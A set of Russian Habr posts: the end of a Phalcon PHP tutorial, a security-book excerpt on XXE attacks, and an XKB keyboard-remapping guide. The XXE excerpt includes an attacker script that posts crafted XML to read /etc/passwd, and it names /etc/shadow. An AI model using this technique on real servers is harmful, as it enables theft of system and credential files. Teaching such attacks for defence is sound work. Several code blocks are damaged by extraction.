Первая часть файла инициализации это регистрация автозагрузчика. Он используется для загрузки контроллеров и моделей. Например, мы можем зарегистрировать одну или несколько директорий контроллеров, повышая гибкость приложения. В нашем примере использован компонент `Phalcon\Loader`.
С его помощью можно загружать классы используя различные подходы, но в этом примере мы выбрали обнаружение классов на основе предопределенных директорий.
```
php
$loader = new \Phalcon\Loader();
$loader-registerDirs(
array(
'../app/controllers/',
'../app/models/'
)
)->register();
```
#### Управление зависимостями
Работая с фреймворком Phalcon необходимо понять концепцию внедрения зависимости ([Dependency injection](http://docs.phalconphp.com/en/0.7.0/reference/di.html), [wiki](http://ru.wikipedia.org/wiki/%D0%92%D0%BD%D0%B5%D0%B4%D1%80%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8)). Это может показаться сложным, но на самом деле всё очень просто и практично.
Phalcon содержит механизм, который хранит компоненты, необходимые для работы приложения, и предоставляет доступ к ним по запросу фреймворка. Этим механизмом является класс `Phalcon\DI`, который выступает в роли связующего звена, объединяя различные компоненты для их совместной работы.
```
php
//Create a DI
$di = new Phalcon\DI\FactoryDefault();
</code
```
[Phalcon\DI\FactoryDefault](http://docs.phalconphp.com/en/0.7.0/api/Phalcon_DI_FactoryDefault.html) наследник `Phalcon\DI` реализующий внедрение зависимостей. Он регистрирует большинство стандартных компонентов фреймворка. Таким образом, мы не должны регистрировать их один за другим. При необходимости можно без проблем заменить его собственной реализацией.
Следующим шагом мы регистрируем компонент «view». Так как файлы представления не являются классами, их нельзя подгрузить с помощью автозагрузчика, поэтому мы должны указать их расположение.
```
php
//Setting up the view component
$di-set('view', function(){
$view = new \Phalcon\Mvc\View();
$view->setViewsDir('../app/views/');
return $view;
});
```
В последней части этого файла регистрируется компонент [Phalcon\Mvc\Application](http://docs.phalconphp.com/en/0.7.0/api/Phalcon_Mvc_Application.html). Его цель заключается в инициализации окружения запроса, обработке маршрута и выполнении соответствующего запросу действия. Он получает ответ от контроллера и возвращает его, когда процесс будет завершен.
```
php
$application = new \Phalcon\Mvc\Application();
$application-setDI($di);
echo $application->handle()->getContent();
```
Как видите, файл инициализации достаточно прост и у нас нет необходимости подключать какие-то дополнительные файлы. Мы подготовили почву для гибкого MVC приложения уложившись менее чем в 30 строк кода.
#### Контроллер
По умолчанию Phalcon ищет контроллер и его действие с именем «Index». Оно будет выполнено, если в запросе не указаны контроллер и действие. Самый простой контроллер выглядит таким образом:
```
php
class IndexController extends \Phalcon\Mvc\Controller
{
public function indexAction()
{
echo "<h1Hello!";
}
}
```
Класс контроллера имеет суффикс «Controller», а его действие должно иметь суффикс «Action». Если открыть приложение в браузере вы увидите что-то такое:
**Поздравляю, вы летаете с соколом!** *(Прим. переводчика: Phalcon созвучно с англ. Falcon — сокол [\*](#Falcon))*
#### Представление (View)
Отправка вывода на экран напрямую из контроллера бывает оправданным, но так делать не стоит. Необходимые данные должны быть переданы представлению, ответственному за отображение на экране. Phalcon будет искать представление в файле с тем же названием, что и последнее выполненное действие, в директории с названием как у последнего выполненного контроллера.
В нашем случае это `app/views/index/index.phtml`:
```
php echo "<h1Hello!";
```
А сам контроллер (`app/controllers/IndexController.php`) теперь содержит пустое действие:
```
php
class IndexController extends \Phalcon\Mvc\Controller
{
public function indexAction()
{
}
}
</code
```
Представление обрабатывается автоматически после завершения работы действия. Вывод в браузере должен остаться прежним.
#### Форма регистрации
Изменим представление `app/views/index/index.phtml`, добавив в него ссылку на другой контроллер «signup»:
```
php
echo "<h1Hello!";
echo Phalcon\Tag::linkTo("signup", "Sign Up Here!");
```
Сгенерированный HTML-код отобразит тег с ссылкой на новый контроллер:
```
Hello!
======
[Sign Up Here!](/test/signup)
```
Чтобы сгенерировать ссылку был использован класс [Phalcon\Tag](http://docs.phalconphp.com/en/0.7.0/api/Phalcon_Tag.html). Этот вспомогательный класс позволяет строить HTML в соответствии со стандартом фреймворка. [Здесь](http://docs.phalconphp.com/en/0.7.0/reference/tags.html) можно найти более подробное описание генерации HTML кода.
Так выглядит новый контроллер «Signup» (`app/controllers/SignupController.php`):
```
php
class SignupController extends \Phalcon\Mvc\Controller
{
public function indexAction()
{
}
}
</code
```
Пустое действие «indexAction» направляет прямиком к представлению с формой (`app/views/signup/index.phtml`).
```
php use Phalcon\Tag; ?
Sign using this form
--------------------
php echo Tag::form("signup/register"); ?
Name
php echo Tag::textField("name") ?
E-Mail
php echo Tag::textField("email") ?
php echo Tag::submitButton("Register") ?
```
Открыв этот контроллер в браузере вы увидете что-то подобное:
`Phalcon\Tag` предоставляет полезные методы для создания элементов формы.
В метод `Phalcon\Tag::form` мы передали путь к контроллеру/действию приложения, которое будет обрабатывать форму.
Нажав на кнопку «Register» вы увидите исключение брошенное из фреймворка, указывающее на отсутствие действия «register» в контроллере «signup».
> PhalconException: Action “register” was not found on controller “signup”
Реализовав это действие мы избавимся от исключения:
```
php
class SignupController extends \Phalcon\Mvc\Controller
{
public function indexAction()
{
}
public function registerAction()
{
}
}
</code
```
Снова отправив форму вы увидите пустую страницу.
Введённые пользователем имя и email должны быть сохранены в базе данных. В соответствии с принципами MVC, взаимодействие с базой данных должно осуществляться моделью приложения чтобы обеспечить чистый объектно-ориентированный код.
#### Модель
Phalcon приносит первую ORM для PHP, полностью написанную на языке Си. Вместо увеличения сложности разработки, это упрощает её.
Прежде чем создать нашу первую модель, нам нужно иметь таблицу в базе данных. Простая таблица для хранения зарегистрированных пользователей может выглядеть так:
```
CREATE TABLE `users` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(70) NOT NULL,
`email` varchar(70) NOT NULL,
PRIMARY KEY (`id`)
);
```
Модель должна быть расположена в директории `app/models`.
Так будет выглядеть модель, предоставляющая доступ к таблице «`users`»:
```
php
class Users extends \Phalcon\Mvc\Model
{
}
</code
```
#### Соединение с БД
Для того, чтобы иметь возможность использовать соединение с базой данных и получить доступ к данным через модели, мы должны указать настройки соединения в файле инициализации. Подключение к базе данных это просто очередной компонент, который в последствии могут использовать и другие компоненты.
Дополненный bootstrap файл (public/index.php) будет выглядеть так:
```
php
try {
//Register an autoloader
$loader = new \Phalcon\Loader();
$loader-registerDirs(array(
'../app/controllers/',
'../app/models/'
))->register();
//Create a DI
$di = new Phalcon\DI\FactoryDefault();
//Set the database service
$di->set('db', function(){
return new \Phalcon\Db\Adapter\Pdo\Mysql(array(
"host" => "localhost",
"username" => "root",
"password" => "secret",
"dbname" => "test_db"
));
});
//Setting up the view component
$di->set('view', function(){
$view = new \Phalcon\Mvc\View();
$view->setViewsDir('../app/views/');
return $view;
});
//Handle the request
$application = new \Phalcon\Mvc\Application();
$application->setDI($di);
echo $application->handle()->getContent();
} catch(\Phalcon\Exception $e) {
echo "PhalconException: ", $e->getMessage();
}
```
Теперь наши модели готовы работать и взаимодействовать с остальной частью приложения.
#### Сохранение данных используя модель
Наш следующий шаг: получение данных из формы и их запись в таблицу.
Дополним действие «register»:
```
php
class SignupController extends \Phalcon\Mvc\Controller
{
public function indexAction()
{
}
public function registerAction()
{
//Request variables from html form
$name = $this-request->getPost("name", "string");
$email = $this->request->getPost("email", "email");
$user = new Users();
$user->name = $name;
$user->email = $email;
//Store and check for errors
if ($user->save())
{
echo "Thanks for register!";
}
else
{
echo "Sorry, the following problems were generated: ";
foreach ($user->getMessages() as $message)
{
echo $message->getMessage(), "
";
}
}
}
}
```
Никогда нельзя доверять данным полученным от пользователя. Данные, переданные в наше приложение должны пройти [валидацию/фильтрацию](http://docs.phalconphp.com/en/0.7.0/reference/filter.html). Это сделает приложение более защищенным от атак на подобии SQL инъекций.
В нашем приложении мы применяем фильтр «`string`» к введённому имени и фильтр «`email`» к электронному адресу чтобы убедиться, что пользователь не прислал нам какие-либо вредоносные символы.
Компонент [Phalcon\Filter](http://docs.phalconphp.com/en/0.7.0/api/Phalcon_Filter.html) делает эту задачу элементарной, так как он внедряется из контейнера зависимостей в вызов метода getPost.
Далее мы создаём экземпляр модели `Users`. Public свойства модели соответствуют полям таблицы `users`. Установив значения новой модели и вызвав метод `save()` мы производим запись в базу данных. Метод `save()` возвращает логическое значение, которое информирует нас о том, успешно ли была произведена запись.
Дополнительная валидация происходит автоматически для полей, которые обозначены как `not null` (т.е. являются обязательными). Если при отправке формы оставить поля незаполненными, то в браузере вы увидите сообщение:
> Sorry, the following problems were generated: name is required
>
> email is required
#### Заключение
Этот очень простой урок призван показать как легко начать разрабатывать своё приложение на фреймворке Phalcon PHP. Тот факт, что Phalcon является расширением к PHP написанным на C, совершенно не противоречит простоте разработки.
Я приглашаю вас продолжить изучение [руководства](http://docs.phalconphp.com/en/0.7.0/index.html), которое откроет для вас дополнительные возможности предлагаемые Phalcon!
\_\_\_
\* Сокол самая быстрая птица, и вообще живое существо, в мире. Но, справедливости ради, стоит отметить, что в скорости горизонтального полёта сокол уступает стрижу. | https://habr.com/ru/post/160311/ | null | ru | null |
# Книга «Безопасность веб-приложений»
[](https://habr.com/ru/company/piter/blog/569658/) Привет, Хаброжители! Среди огромного количества информации по сетевой и ИТ-безопасности практически не найти книг по безопасности веб-приложений. Познакомьтесь на практике с разведкой, защитой и нападением! Вы изучите методы эффективного исследования и анализа веб-приложений, даже тех, к которым нет прямого доступа, узнаете самые современные хакерские приемы и научитесь защищать собственные разработки.
**В этой книге**
* Самые распространенные уязвимости
* Основные методы взлома
* Схемы и документация веб-приложений, к которым нет прямого доступа
* Кастомизированные эксплойты, преодолевающие популярные схемы защиты
* Способы защиты приложений от хакерских атак
* Лучшие практики внедрения безопасного кода в жизненный цикл разработки
* Советы и рекомендации для улучшения уровня безопасности веб-приложений
Атака на внешние сущности XML (XXE)
-----------------------------------
Атака на внешние сущности XML-документа (XML External Entity, XXE) во многих случаях легко осуществима и приводит к разрушительным последствиям. Уязвимость, благодаря которой она становится возможной, связана с неправильной настройкой анализатора XML в коде приложения.
Вообще-то почти все XXE-уязвимости обнаруживаются, когда конечная точка API принимает данные в формате XML (или подобном ему). Вам может казаться, что конечные точки, принимающие XML, встречаются редко, но к XML-подобным форматам относятся SVG, HTML/DOM, PDF (XFDF) и RTF. Они имеют много общего со спецификацией XML, и в результате многие анализаторы XML также принимают их в качестве входных данных.
Спецификация XML позволяет подключать к документу дополнительные компоненты — так называемые *внешние сущности*. Если XML-анализатор не проводит соответствующую проверку, он может просто загрузить внешнюю сущность и подключить к содержимому XML-документа и таким образом скомпрометировать файлы в файловой структуре сервера.
Атака на внешние сущности XML часто используется для компрометации файлов от других пользователей или для доступа к таким файлам, как /etc/shadow, где хранятся учетные данные, необходимые для правильной работы Unix-сервера.
### Атака напрямую
При прямой XXE-атаке объект XML отправляется на сервер под видом внешней сущности. После его анализа возвращается результат, включающий внешнюю сущность (рис. 12.1).
Представим, что mega-bank.com предоставляет утилиту для создания скриншотов, позволяющую отправлять их непосредственно в службу поддержки.
На стороне клиента эта функциональность выглядит так:
```
Send Screenshot to Support
/*
* Собираем HTML DOM из элемента `content` и XML-анализатором
* преобразуем текст DOM в формат XML.
*
* По HTTP передаем этот XML в функцию, которая сгенерирует из
* присланного XML скриншот.
*
* Скриншот отправляется в службу поддержки для анализа.
*/
const screenshot = function() {
try {
/*
* Пытаемся преобразовать элемент `content` в формат XML.
* При неудаче происходит переход к блоку Catch, но обычно все
* получается, потому что HTML — это разновидность XML.
*/
const div = document.getElementById('content').innerHTML;
const serializer = new XMLSerializer();
const dom = serializer.serializeToString(div);
/*
* После преобразования DOM в XML генерируем запрос
* к конечной точке, которая преобразует XML в изображение.
* В результате получим скриншот.
*/
const xhr = new XMLHttpRequest();
const url = 'https://util.mega-bank.com/screenshot';
const data = new FormData();
data.append('dom', dom);
/*
* Если преобразование XML в image прошло успешно,
* отправляем скриншот в службу поддержки.
*
* В противном случае сообщаем пользователю о неудаче.
*/
xhr.onreadystatechange = function() {
sendScreenshotToSupport(xhr.responseText, (err) => {
if (err) { alert('невозможно отправить скриншот.') }
else { alert('скриншот отправлен!'); }
});
}
xhr.send(data);
} catch (e) {
/*
* Уведомляем пользователя, что его браузер не поддерживает
* эту функциональность.
*/
alert(Ваш браузер не поддерживает эту функциональность. Требуется обновление.
);
}
};
```
Под «этой функциональностью» подразумевается очень простая вещь: пользователь нажимает кнопку и создает снимок экрана, который отправляется в службу поддержки.
С программной точки зрения это тоже не слишком сложно:
1. Браузер преобразует то, что текущий пользователь видит на экране (через DOM) в XML.
2. Этот XML браузер передает в службу, которая преобразует его в JPG.
3. Через другой API браузер отправляет файл JPG сотруднику службы поддержки MegaBank.
Есть несколько моментов, которые хотелось бы отметить по поводу этого кода. Например, функцию sendScreenshotToSupport() можно вызывать самостоятельно для наших собственных изображений. Проверить допустимость содержимого в случае картинки сложнее, чем в случае XML. И хотя преобразовать XML в изображения легко, при обратном преобразовании происходит потеря контекста.
На стороне сервера маршрут с именем screenshot соотносится с запросом из нашего браузера:
```
import xmltojpg from './xmltojpg';
/*
* Преобразуем XML-объект в изображение JPG.
*
* Возвращаем изображение автору запроса.
*/
app.post('/screenshot', function(req, res) {
if (!req.body.dom) { return res.sendStatus(400); }
xmltojpg.convert(req.body.dom)
.then((err, jpg) => {
if (err) { return res.sendStatus(400); }
return res.send(jpg);
});
});
```
Преобразуемый в формат JPG файл XML должен пройти через XML-анализатор. Причем этот анализатор должен соответствовать спецификации XML.
Наш клиент отправляет на сервер обычный набор кода HTML/DOM, преобразованный в формат XML для облегчения процесса анализа. При обычной работе мало шансов, что этот код когда-либо будет представлять какую-либо опасность.
Но отправленные клиентом данные DOM может изменить технически подкованный пользователь. В качестве альтернативы можно просто подделать сетевой запрос и отправить на сервер, например, вот такой код:
```
import utilAPI from './utilAPI';
/*
* Генерируем новый XML HTTP-запрос к API утилиты XML -> JPG.
*/
const xhr = new XMLHttpRequest();
xhr.open('POST', utilAPI.url + '/screenshot');
xhr.setRequestHeader('Content-Type', 'application/xml');
/*
* Предоставляем созданную вручную XML-строку, использующую
* функциональность внешних сущностей во многих XML-анализаторах.
*/
const rawXMLString = `]>&xxe`;
xhr.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
// здесь нужно проверить полученный ответ
}
}
/*
* Отправляем запрос к конечной точке API утилиты XML -> JPG.
*/
xhr.send(rawXMLString);
```
После получения такого запроса анализатор сервера проверяет XML и возвращает нам изображение (JPG). Если синтаксический анализатор XML явно не отключает внешние сущности, мы увидим на присланном снимке экрана содержимое текстового файла /etc/passwd.
### Непрямая XXE-атака
В случае непрямой XXE-атаки сервер генерирует XML-объект в ответ на присланный запрос. В него включаются параметры, предоставленные пользователем, и потенциально это может привести к включению параметра внешней сущности (рис. 12.2).
Иногда XXE-атаку можно нацелить на конечную точку, напрямую не работающую с отправленным пользователем XML-объектом.
В случае API, принимающего в качестве параметра XML-подобный объект, первым делом имеет смысл проверить его на XXE-уязвимость. Тот факт, что API не принимает в запросах объекты XML, не означает, что там не применяется XML-анализатор.
Представим приложение, которое запрашивает у пользователя только один параметр через конечную точку REST API. Приложение предназначено для синхронизации этого параметра с программным пакетом CRM-системы, которым уже пользуется фирма.
Для своего API программа CRM может ожидать информацию в формате XML. Это означает, что несмотря на заявления о непринятии такого формата, для корректного взаимодействия сервера с программным пакетом CRM присылаемые пользователем данные должны быть преобразованы в объект XML через REST-сервер, а затем отправлены в пакет софта CRM.
Часто эти операции происходят в фоновом режиме, и со стороны сложно определить, что данные в формате XML вообще используются. И так бывает достаточно часто. Так как корпоративное ПО не монолитно, а носит модульный характер, часто бывает так, что API-интерфейсы JSON/REST должны взаимодействовать с API XML/SOAP. Кроме того, одновременно используется как современное, так и унаследованное ПО, в результате чего часто появляются большие дыры в безопасности.
В предыдущем примере присланные нами данные преобразовывались сервером в формат XML перед отправкой в другую программную систему. Но как снаружи понять, что это происходит?
Один из способов — изучение компании, чье веб-приложение вы тестируете. Нужно определить, какие у них есть лицензионные соглашения для крупных предприятий. Иногда такая информация открыта для публики.
Также можно заглянуть на другие сайты этой компании и проверить, представлены ли какие-либо данные через отдельную систему или сторонний URL-адрес. Кроме того, многие старые пакеты корпоративного софта — от CRM до бухгалтерского учета или управления персоналом — имеют ограничения по структуре хранимых данных. Если узнать, данные какого типа ожидаются этими интегрированными программными пакетами, можно будет сделать вывод, что они используются общедоступным API, если он ожидает нехарактерного форматирования данных перед их отправкой.
### Итоги
Понять, как осуществляется XXE-атака, и провести ее в большинстве случаев несложно. Эти атаки заслуживают упоминания, потому что они удивительно мощны и могут поставить под угрозу весь веб-сервер, не говоря уже о работающем поверх него веб-приложении.
Атаки XXE возможны благодаря существованию недостаточно защищенного стандарта, который, тем не менее, широко используется в интернете. Предотвратить XXE-атаки на синтаксические анализаторы несложно. Иногда всего одна строка в конфигурации убирает возможность ссылаться на внешние сущности. При этом атаки этого типа всегда следует пробовать против новых приложений, поскольку одна недостающая строка в настройках XML-анализаторе открывает двери перед хакером.
Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/new/product/bezopasnost-veb-prilozheniy)
» [Оглавление](https://www.piter.com/collection/new/product/bezopasnost-veb-prilozheniy#Oglavlenie-1)
» [Отрывок](https://www.piter.com/collection/new/product/bezopasnost-veb-prilozheniy#Otryvok-1)
Для Хаброжителей скидка 25% по купону — **Безопасность**
По факту оплаты бумажной версии книги на e-mail высылается электронная книга. | https://habr.com/ru/post/569658/ | null | ru | null |
# XKB: перенастроим клавиши под себя любимого
В один прекрасный день надоедает нажимать Shift, чтобы вывелся символ **~** вместо **`**.
Надоедает тянуться до Esc, при этом клавишей CapsLock пользуетесь РЕДКО.
Надоедает смещать кисть вниз и нажимать Ctrl/Cmd/Win слабым мизинчиком, либо, не дай бог, тянуться до них большим пальцем.
Надоедает лезть за PgUp, PgDn, Home и End, двигая руку каждый раз, чтобы всего лишь промотать страницу вниз.
Надоедает каждый раз, когда вы делаете опечатку, со злобой смотреть на клавиатуру в поисках кнопки Backspace.
Сегодня мы узнаем, как навсегда избавиться от этих мучений.
### Зачем это всё?
Чтобы меньше нажимать клавиши. Чтобы меньше тянуться пальцами до тех клавиш, которые часто нажимаем. Чтобы руки меньше уставали. Чтобы легче запоминать что где. Чтобы быстрее печатать, в конце концов.
Многие раскладки для печати (Dvorak, Colemak и т.п.) сильно улучшают расположение клавиш, ставя их ближе к тем местам, куда нужно меньше тянуться. Но при этом совершенно забывают о модификаторах, спец. символах и командных клавишах (Enter, Backspace, Tab, Esc, Delete). А мы подумаем о том, как улучшить существующее положение вещей.
В статье пойдём от простейших изменений, до более интересной и глубокой настройки. И, как в конце хороших фильмов, я оставлю читателя подумать, что делать дальше, и не дам готового рецепта на всё. В конце концов, идеальных и универсальных решений нет, и на раскладку клавиатур товарищей нет.
### Первые шаги калеки
Стандартную раскладку нужно модифицировать под себя. Сделать это можно многими способами. Не думаю, что кто-то здесь пользуется экзотическими ibus, Fcitx, SCIM или UIM, поэтому предположу, что у всех работает стандартный X Keyboard extension, XKB. Стоит заметить, что в грядущем на десктопе Wayland, XKB, скорее всего останется отвечать за клавиатуру, также как и в Xorg. Если вдруг тут есть смельчаки, которые уже работают с XWayland, поделитесь своими впечатлениями, работает ли описанное мной у вас. Про альтернативный Wayland Mir от Canonical ничего сказать не могу, кроме того, что вряд ли они возьмутся переписывать и подсистему взаимодействия с клавиатурой.
Первое, что приходит в голову — воспользоваться какими-то графическими утилитами. Если честно, то этот этап я пропустил, и сразу воспользовался xmodmap. Чуть ниже я расскажу, что не так с этим подходом и как делать правильно.
Xmodmap позволяет, например, поменять слоями **;** и **:**, особенно это полезно тем, кто программирует на современном языке, который уже не требует обязательной точки с запятой в конце строки. Даже в JavaScript этого уже делать не нужно. И помогает вот такая простая команда:
```
$ xmodmap -e "keycode 47 = colon semicolon Cyrillic_zhe Cyrillic_ZHE"
```
Запускать её нужно из .xsession или .xinitrc. Последние два аргумента в кавычках помогут не потерять при обмене буквы **ж** и **Ж**.
А вот такая, например, поменяет местами **~** и **`**:
```
$ xmodmap -e "keycode 49 = asciitilde grave Cyrillic_io Cyrillic_IO"
```
### Переключение раскладки
Часто ли вам приходится пользоваться Alt? Если вдруг нет, а мне, я заметил, приходится это делать только в богатых менюшками интерфейсах, типа Gimp или LibreOffice, то его можно использовать в качестве переключателя правый Alt, известный как AltGr:
```
$ setxkbmap -layout us,ru -option grp:toggle
```
### Esc vs CapsLock
Многие, кто часто пользуются Vim, или используют vi сочетания в консоли, и кто мало ругается на форумах, предпочитают иметь Escape на клавише CapsLock:
```
$ xmodmap -e "clear lock"
$ xmodmap -e "keycode 0x42 = Escape"
```
То же самое можно сделать ещё немного проще:
```
setxkbmap -option caps:escape
```
Или даже вот так, сохраняя CapsLock на месте старого Escape на случай переписки на повышенных тонах:
```
setxkbmap -option caps:swapescape
```
Откуда эти загадочные параметры, мы с вами узнаем чуть позже.
### Цветочки
Наверное, удивлю вас, если скажу, что то, что мы делали до этого было не совсем правильно. setxkbmap ещё ничего, а вот xmodmap появился ещё до XKB, и живёт только для совместимости. Мало того, он ничего не знает и о половине клавиш, синтаксис и принцип работы у него более, чем загадочен, он переводит keycode и keysym, а в некоторых случаях и обратно. Разбираться в этом нет никакого смысла, потому что он в какой-то момент отомрёт, и все ваши ухищрения нужно будет повторять, только уже с помощью другой утилиты, а вы расстроитесь и назло всем опять станете печатать двумя указательными пальцами.
Так вот, всё это работает до одного прекрасного момента, пока не начинаешь понимать, что нужных клавиш много, а пальцы, которые лежат на домашней строке (ASDF JKL;) до всех не дотягиваются.
Я, например, часто пользуюсь клавишей с обозначением Win, которая является модификатором Mod4. Расположена она на моей клавиатуре не слишком удобно, а именно между левыми Alt и Ctrl.
### Правильный способ
Правильно всё это делать с помощью xkbcomp. Название у утилиты, как и man к ней дают мало информации о том, чем она занимается. Якобы переводит текстовые описания раскладки клавиатуры в бинарный формат. А на самом деле ещё и загружает их. Давайте попробуем, чтобы понять, как сделать то, что мы уже сделали, только с её помощью.
Запомните, многие в интернете советуют модифицировать файлы, лежащие в /usr/share/X11/xkb/symbols, а именно us, pc и ru. Не делайте этого. Это файлы, действующие на всю систему сразу. На других пользователей (если вдруг у вас такие есть), и если вы там с чем-то накосячите, то набирать текст, даже логин и пароль, бкдшт труднее. Не стоит даже класть туда и модифицированные файлы, и ничего не нужно прописывать в evdev.xml.
**Важно:** если вы вдруг сделаете что-то не так, то перезагрузка X'ов вам поможет. Есть и более простой способ, можно запустить команду setxkbmap без параметров, и она сбросит почти все ваши настройки на раскладку по умолчанию.
Первым делом нам нужно узнать текущие настройки раскладки, сделать это нужно до всех манипуляций:
```
$ setxkbmap -layout us,ru -print
```
На выходе получим что-то вроде этого:
```
xkb_keymap {
xkb_keycodes { include "evdev+aliases(qwerty)" };
xkb_types { include "complete" };
xkb_compat { include "complete" };
xkb_symbols { include "pc+us+ru:2+inet(evdev)" };
xkb_geometry { include "pc(pc104)" };
};
```
Запишем всё это в файл, причем будем следовать [указаниям XDG](http://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html), и положим его в ~/.config/xkb/my.
В этом файле нас больше всего интересует строка xkb\_symbols, остальное оставим без изменений. Развернём фигурные скобки, и поменяем эту строку на следующее:
```
xkb_keymap {
xkb_keycodes { include "evdev+aliases(qwerty)" };
xkb_types { include "complete" };
xkb_compat { include "complete" };
xkb_geometry { include "pc(pc104)" };
xkb_symbols "my" {
include "pc+us+ru:2+inet(evdev)"
key { [ colon, semicolon ] };
key { [ asciitilde, grave ] };
};
};
```
Ну, скрестим пальцы, и загрузим эту конфигурацию:
```
$ xkbcomp $HOME/.config/xkb/my $DISPLAY
```
Пробуем. Если при нажатии клавиши, на которой у вас нарисована буква Ж, печатается символ :, а не ;, а при нажатии на Ё печатается тильда ~, а с Shift'ом всё происходит наоборот, то мы на верном пути.
Стоит заметить, что тут же не нужно заморачиваться с Cyrillic\_zhe Cyrillic\_ZHE, всё работает и так.
Идём дальше. Что мы делали? Мы запускали setxkbmap -option с параметром. Давайте посмотрим, что он меняет.
```
$ setxkbmap -print | grep symbols
xkb_symbols { include "pc+us+ru:2+inet(evdev)" };
$ setxkbmap -option caps:escape
$ setxkbmap -print | grep symbols
xkb_symbols { include "pc+us+ru:2+inet(evdev)+capslock(escape)" };
```
Отлично, теперь вроде бы понятно, что меняется раскладка включением каких-то опций.
В наш файл my добавим следующую строку в секцию xkb\_symbols, сразу после уже существующего include:
```
include "capslock(escape)"
```
Стоит заметить, что точка с запятой после include не нужна, в отличии от точки с запятой в других местах этого конфигурационного файла.
Если внимательно посмотреть, то приходит понимание, что вот эти два способа записи идентичны:
```
include "pc+us+ru:2+inet(evdev)"
include "capslock(escape)"
```
```
include "pc+us+ru:2+inet(evdev)+capslock(escape)"
```
При этом первый куда более нагляден.
Что же это значит? Мы загружаем нашу раскладку, говорим, что у нас qwerty (xkb\_keycodes), что у нас 104 клавиши (xkb\_geometry), и переопределяем символы. При этом в разделе символов мы включаем целиком несколько конфигурационных файлов, pc, us, ru. Где они лежат, можно ли на них посмотреть? Естественно, все они лежат в /usr/share/X11/xkb/symbols. Посмотреть их полезно, особенно если вы соберётесь сделать что-то более масштабное, чем мы уже сделали.
Хорошо, а где лежат те файлы, которые определяют, что CapsLock и Escape нужно поменять местами? Да там же. Выглядит это примерно вот так:
```
partial hidden modifier_keys
xkb_symbols "swapescape" {
key { [ Escape ] };
key { [ Caps\_Lock ] };
};
partial hidden modifier\_keys
xkb\_symbols "escape" {
key { [ Escape ] };
};
```
Что такое partial? Это кусок раскладки, который можно включить в другую раскладку. В некоторых конфигурационных файлах щедрые авторы даже добавили комментарии. Но не во всех.
Почему мы просто не делаем свой partial, и не включаем его? К стыду своему готов признать, что пытался делать это по описаниям, но у меня не вышло.
**Как это нужно делать в теории**В файл раскладки не нужно класть целиком xkb\_keymap, достаточно только секцию xkb\_symbols:
```
xkb_symbols "my" {
include "pc+us+ru:2+inet(evdev)"
key { [ colon, semicolon ] };
key { [ asciitilde, grave ] };
};
```
Загрузка должна идти с помощью команды:
```
setxkbmap -I$HOME/.config/xkb my -print | xkbcomp - $DISPLAY
```
Увы, вывод setxkbmap не меняется ни от каких параметров, кроме одного случая:
```
setxkbmap -I$HOME/.config/xkb -symbols my -print
```
Но, увы, в случае передачи этого вывода в xkbcomp, тот выдаёт ошибку.
Некоторые ещё советуют вместо $DISPLAY писать ${DISPLAY%%.\*}
**PS** Хабраюзер [kodx](https://habr.com/ru/users/kodx/) выяснил, [как это делать правильно](http://habrahabr.ru/post/222285/#comment_7586289).
### Ягодки
Не хочу просто Escape на CapsLock. Хочу чтобы Control тоже.
Как? Как такое возможно? Пришло время магии.
Сначала сделаем так, чтобы при нажатии на CapsLock получался LCTL, добавив вот это в секцию xkb\_symbols:
```
replace key { [ Control\_L ] };
replace key { [ Caps\_Lock ] };
```
Вторая строчка нужна для того, чтобы избавиться от вредной привычки нажимать старый левый Ctrl. Можно чуть смягчить это:
```
replace key { [ VoidSymbol ] };
```
Тепепь нам понадобится ~~глаз дятла~~ утилита [xcape](https://github.com/alols/xcape), позволяющая назначить модификатору второе действие. Так, что если он нажат в сочетании с какой-то буквенно-циферной клавишей, то он срабатывает как модификатор, а если он нажат и отпущен в одиночку — он срабатывает как-то по-другому, как мы захотим. В бой!
```
$ xcape -t 1000 -e "Control_L=Escape"
```
xcape демонизируется ~~под действием глаза дятла~~. Стоит ещё заметить интересный параметр -t 1000. Нет, он не призывает терминатора, он говорит о том, что если мы таки нажали левый Ctrl, и продержали его нажатым больше 1000 мс, то Escape не сработает. Отличная опция для нерешительных.
Из недостатков такого подхода можно назвать то, что Escape будет срабатывать не по нажатию, а по отпусканию клавиши. Кому-то эта задержка не страшна, а кому-то будет критична. А кто-то пойдёт на компромисс.
### Бонус
Для всяких полезных, но редких символов существует такая вещь, как [Compose Key](http://en.wikipedia.org/wiki/Compose_key), которая позволяет после её нажатия и отпускания набрать некую последовательность, которая соответствует какому-то Unicode символу, который и появится на экране. Например, последовательность нажатий «Compose o o» выдаст символ **°**. А «Compose c c c p» выдаст **☭**. Забавно? Символов очень много, а сочетания подобраны так, что запонмить их легко, причём в большинстве случаев порядок нажатия не важен, например «Compose e =» и «Compose = e» оба выдают **€**. С полным списком стандартных сочетаний можно ознакомиться [тут](http://cgit.freedesktop.org/xorg/lib/libX11/plain/nls/en_US.UTF-8/Compose.pre), а также можно назначать свои в файле ~/.XCompose.
А сделать так, чтобы в качестве Compose работал правый Ctrl можно добавлением следующей строки в наш файл:
```
include "compose(rctrl)"
```
### В путь-дорогу
Я сознательно не публикую свой конфиг целиком, чтобы читатель захотел поэкспериментировать. Вот вам пару идей в дорогу:
— нажимая клавишу **F**, сделайте так, чтобы **HJKL** работали как обычные стрелки;
— сделайте так, чтобы левая половина клавиатуры сдвигала регистр только с правым Shift, а правая — с левым. Это очень полезно для рук, хотя и не привычно ([подсказка](http://habrahabr.ru/post/222285/#comment_7581417) в комментарии);
— сделайте так, чтобы левый Shift не обязательно было зажимать, а чтобы было достаточно его однократно нажать и отпустить, а следом нажать, например, клавишу **5**, так, чтобы напечатался символ **%** (подсказка: Latch);
— повесьте два разных модификатора на одну клавишу
Придумывайте, делитесь. Буду рад услышать интересные идеи.
PS Если вдруг кто скажет, что потом вот сядешь к кому-нибудь другому за клавиатуру, и сразу всё не так, то скажу так: пересаживаясь из Бентли помочь другу довезти до дома жигули, тоже ругаешься. Тем приятнее садиться обратно в Бентли.
Печатайте с удовольствием и берегите себя! | https://habr.com/ru/post/222285/ | null | ru | null |
# Почему мы выбрали MongoDB
